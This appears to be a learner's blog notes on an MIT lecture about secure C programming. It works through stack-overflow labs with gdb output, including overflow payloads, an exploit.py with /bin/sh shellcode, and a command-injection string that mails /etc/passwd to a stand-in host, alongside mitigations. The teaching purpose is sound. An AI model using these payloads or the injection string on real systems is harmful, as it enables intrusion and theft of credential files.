6.S096(3): Secure Programming in C
Summary
GNU/Linux systems:
- Example attacks and exploits
- C-specific prevention & mitigation
- System-wide prevention & mitigation
Memory Management: Linux
Vulnerable Code Example 1
Original Code pass.c
:
#include<string.h>
#include<stdio.h>
#define goodPass "GOODPASS"
int main() {
char passIsGood = 0;
char buf[80]; // secure: strsize + 1
printf("Enter password:\n");
gets(buf); // secure: fgets(buf, strsize, stdin);
if (strcmp(buf, goodPass)==0) { // secure: strncmp(buf, goodPass, STRSIZE)
passIsGood = 1;
}
if (passIsGood == 1) {
printf("You win!\n");
}
}
Standard Behaviour:
The program will show ‘You win’ when the input string is “GOODPASS”.
Start a docker image to test:
docker run --rm -it i386/ubuntu bash
Although the uname -m
shows it’s x86_64, but the getconf LONG_BIT
command shows it’s 32. A little bit strange!
Injection point:
gets(buf);
Never use gets(), it will overflow!
Payload
In the lecture note, it shows:
$ python -c " print 'x'*80 + '\x01' " | ./test1
Enter password:
You win!
$
This is interesting.
However, when I try, it becomes:
$ python -c "print 'x'*80 + '\x01'" | ./pass
Enter password:
*** stack smashing detected ***: <unknown> terminated
Aborted
Life is so hard…seems like I need to disable stack smashing protection, I revise the command:
gcc pass.c -o pass -fno-stack-protector
Then I get the overflow:
Use gdb to inspect this program:
(gdb) disas main
Dump of assembler code for function main:
0x0000057d <+0>: lea 0x4(%esp),%ecx
0x00000581 <+4>: and $0xfffffff0,%esp # for alignment
0x00000584 <+7>: pushl -0x4(%ecx)
0x00000587 <+10>: push %ebp # save stack frame (ebp)from caller
0x00000588 <+11>: mov %esp,%ebp # move the esp address to be new ebp, ebp will point to current esp, for new stack frame
0x0000058a <+13>: push %ebx
0x0000058b <+14>: push %ecx
0x0000058c <+15>: sub $0x60,%esp # clear room for buff[80] + some arguments, again aligning with a 16 byte margin. 80+16 = 96 (0x60).
0x0000058f <+18>: call 0x480 <__x86.get_pc_thunk.bx>
0x00000594 <+23>: add $0x1a3c,%ebx
0x0000059a <+29>: movb $0x0,-0x9(%ebp)
0x0000059e <+33>: sub $0xc,%esp
0x000005a1 <+36>: lea -0x1940(%ebx),%eax
0x000005a7 <+42>: push %eax
0x000005a8 <+43>: call 0x410 <puts@plt> # printf
0x000005ad <+48>: add $0x10,%esp
0x000005b0 <+51>: sub $0xc,%esp
0x000005b3 <+54>: lea -0x59(%ebp),%eax
0x000005b6 <+57>: push %eax
0x000005b7 <+58>: call 0x400 <gets@plt> # gets
0x000005bc <+63>: add $0x10,%esp
0x000005bf <+66>: sub $0x8,%esp
0x000005c2 <+69>: lea -0x1930(%ebx),%eax
0x000005c8 <+75>: push %eax
0x000005c9 <+76>: lea -0x59(%ebp),%eax
0x000005cc <+79>: push %eax
0x000005cd <+80>: call 0x3f0 <strcmp@plt> # strcmp(buf, goodPass)==0
0x000005d2 <+85>: add $0x10,%esp
0x000005d5 <+88>: test %eax,%eax
0x000005d7 <+90>: jne 0x5dd <main+96>
0x000005d9 <+92>: movb $0x1,-0x9(%ebp) # Move 1 into the single byte at the address stored in -0x9(%ebp).
0x000005dd <+96>: cmpb $0x1,-0x9(%ebp)
0x000005e1 <+100>: jne 0x5f5 <main+120> # Jump not Equal or Jump Not Zero
0x000005e3 <+102>: sub $0xc,%esp
0x000005e6 <+105>: lea -0x1927(%ebx),%eax
0x000005ec <+111>: push %eax
0x000005ed <+112>: call 0x410 <puts@plt> # print
0x000005f2 <+117>: add $0x10,%esp
0x000005f5 <+120>: mov $0x0,%eax
0x000005fa <+125>: lea -0x8(%ebp),%esp
0x000005fd <+128>: pop %ecx
0x000005fe <+129>: pop %ebx
0x000005ff <+130>: pop %ebp
0x00000600 <+131>: lea -0x4(%ecx),%esp
0x00000603 <+134>: ret
For Assembly, intel will be ops DST, SRC; AT&T will be ops SRC, DST;
To inspect the behaviour, check passadd
value after gets step. Set breakpoint at address 0x000005cd
.
However, I get the error warning: Error disabling address space randomization: Success
. Some common solutions do not work, and it seems that for Docker, we need the following option to disable the randomization.
$ docker commit 92c5aee8e4ee fabbit/32_gdb:version1
$ docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined fabbit/32_gdb:version1
However, this solution still does not work for my laptop and current version.
When I try to modify the system param, there is an error:
root@92c5aee8e4ee:/# sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
sh: 1: cannot create /proc/sys/kernel/randomize_va_space: Read-only file system
Try, but also failed:
$ docker run --privileged fabbit/32_gdb:version1
Seems docker is not very gdb-friendly, I try to install a 32-bit ubuntu vm.
When 'x'*80
compare with GOODPASS
, it will return 1, will be 10 00 00 00 in the memory, and the \x01
will overwrite the result, so it becomes 0.
The reason is because the passIsGood
value is defined before the buf, so it is overwritten.
Vulnerable Code Example 2
Overwriting the EIP:
int main (){
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000a0d00) printf("you win!\n");
}
- When a function is called it imediatelly pushes the EIP into the stack (SFP).
- After it is complete, a
ret
instruction pops the stack and moves SFP back to the previous EIP. - Trick: Overwrite the SFP, while itβs in the stack.
Assembly:
(gdb) disas main
1 0x08048424 <main+0>: push %ebp
2 0x08048425 <main+1>: mov %esp,%ebp
3 0x08048427 <main+3>: and $0xfffffff0,%esp
4 0x0804842a <main+6>: sub $0x70,%esp
5 0x0804842d <main+9>: lea 0x6c(%esp),%eax
6 0x08048431 <main+13>: mov %eax, 0x8(%esp)
7 0x08048435 <main+17>: lea 0x1c(%esp),%eax
8 0x08048439 <main+21>: mov %eax , 0x4(%esp)
9 0x0804843d <main+25>: movl $0x8048530 ,(% esp)
10 0x08048444 <main+32>: call 0x8048350 <printf@plt>
11 0x08048449 <main+37>: lea 0x1c(%esp),%eax
12 0x0804844d <main+41>: mov %eax ,(%esp)
13 0x08048450 <main+44>: call 0x8048330 <gets@plt>
14 0x08048455 <main+49>: mov 0x6c(%esp),%eax
15 0x08048459 <main+53>: cmp $0xa0d00,%eax // if statement
16 0x0804845e <main+58>: jne 0x804846c <main+72>
17 0x08048460 <main+60>: movl $0x8048548 ,(%esp) // you win ?
18 0x08048467 <main+67>: call 0x8048360 <puts@plt> // printf
19 0x0804846c <main+72>: leave
20 0x0804846d <main+73>: ret
Checking Registers:
(gdb) b *0x0804846d
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaa
Breakpoint 1, 0x0804846d in main () at stack4.c:13
(gdb) info registers
eax 0xb7fc8ff4 -1208184844
ecx 0xbffff58c -1073744500
edx 0xb7fca334 -1208179916
ebx 0xb7fc8ff4 -1208184844
esp 0xbffff5ec 0xbffff5ec
ebp 0xbffff668 0xbffff668
esi 0x0 0
edi 0x0 0
eip 0x804846d 0x804846d <main+73>
Gain some key information:
- buf: 0xbffff58c (from gdb)
- esp: 0xbffff5ec
Steps:
- 0xbffff5ec β 0xbffff58c = 0x00000060 = 96 bytes we need to overflow.
- Jump to: 0x08048460;
- Linux β Reverse stack β \x60\x84\x04\x08
- In simple cases, the compiler converts calls to printf() to calls to puts().
0x8048548
seems to be some static values, maybe “you win!\n”.
- use this address to replace esp
Payload: Control Flow Redirection
$ python -c "print 'a' * 96 + '\x60\x84\x04\x08' " | ./test1
buf: bffff58c cookie: bffff5dc
you win!
Segmentation fault
$
This is so interesting!
Payload: Getting shell
exploit.py
#!/usr/bin/env python
shellcode = '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'
print shellcode + '\x90' * 51 + '\x5c\xb3\x04\x08'
Get shell:
$ python exploit.py | ./stack4
buf: bffff58c cookie: bffff5dc
$
This is very interesting…
Other Attacks
- Off-by-one exploits
- Return-to-libc
- Similar in principal to a buffer overflow but instead of executing arbitrary shellcode you call functions from libc.so.
- Works when a noexec stack is enforced.
- Heap Overflow
- Taking advantage of libc bugs to take over dynamicaly allocated memory, or even the memory allocator itself. Many 0-day exploits nowadays are heap overflows.
-
String null termination errors #1
- use
strcat
only, no null termination, no memory management - correct usages: keep track of bufsize and buflen, and the length of the new argument, allocate new buffer size from heap if necessary, add null termination
\0
when copying ends, then usefree
to free the memory.
- use
-
String null termination errors #2
- use
gets(buf)
only, no newline char check - correct usages: use
fgets(buf, sizeof(buf), stdin)
to get str, use strchr(buf, ‘\n’) to scan for newline charactor, and append ‘\0’. If newline is not found, flush stdin to end of line.
- use
-
String null termination errors #3
- use
strncpy((a, string_data, sizeof(a))
only - correct usages: handle null pointer error, handle overlong string error
- use
-
Passing strings to complex subsystems
sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);
if str is:
bogus@addr.com; cat /etc/passwd | mail somebadguy.net
it will become:
/bin/mail bogus@addr.com; cat /etc/passwd | mail somebadguy.net < /tmp/email
Solution:
- use whitelisting by
ok_chars[]
- Integer Overflow Addition:
unsigned int ui1, ui2, usum;
if (UINT_MAX - ui1 < ui2) {
// handle error condition
} else {
usum = ui1 + ui2;
}
- GCC Preprocessor: Inlines VS macros
Advanced techniques for securing your code
- Using secure libraries: Managed string library, Microsoft secure string library, safeStr.
- They provide alternatives to insecure standard C functions. (ie: safeStr)
safestr_append()
safestr_nappend()
safestr_compare()
safestr_find()
safestr_copy()
safestr_length()
safestr_sprintf()
safestr_vsprintf()
- canaries
Protecting the System
- WX protection, the data section on the stack is flagged as not executable and the program memory as not writable.
- ASLR: Address space layout randomization. Randomly allocate shared libraries, stack and heap.
- Setting the NX bit: CPU support for flagging executable and non-executable data. Reduces overhead for WX.
- iOS5: CSE: Code Signing Enforcement. Signing each executable memory page and checking the CS_VALID flag. Prevents changes in executable code during runtime.
Examples
- PaX on Linux
- OpenBSD kernel
- Hardened Gentoo
- grsecurity
- Microsoft Windows Server 2008 R2
References
6.S096: Effective Programming in C and C++ (Lef Ioannidis)
This course@MIT Open Course is a fast-paced introduction to the C and C++ programming languages, with an emphasis on good programming practices and how to be an effective programmer in these languages.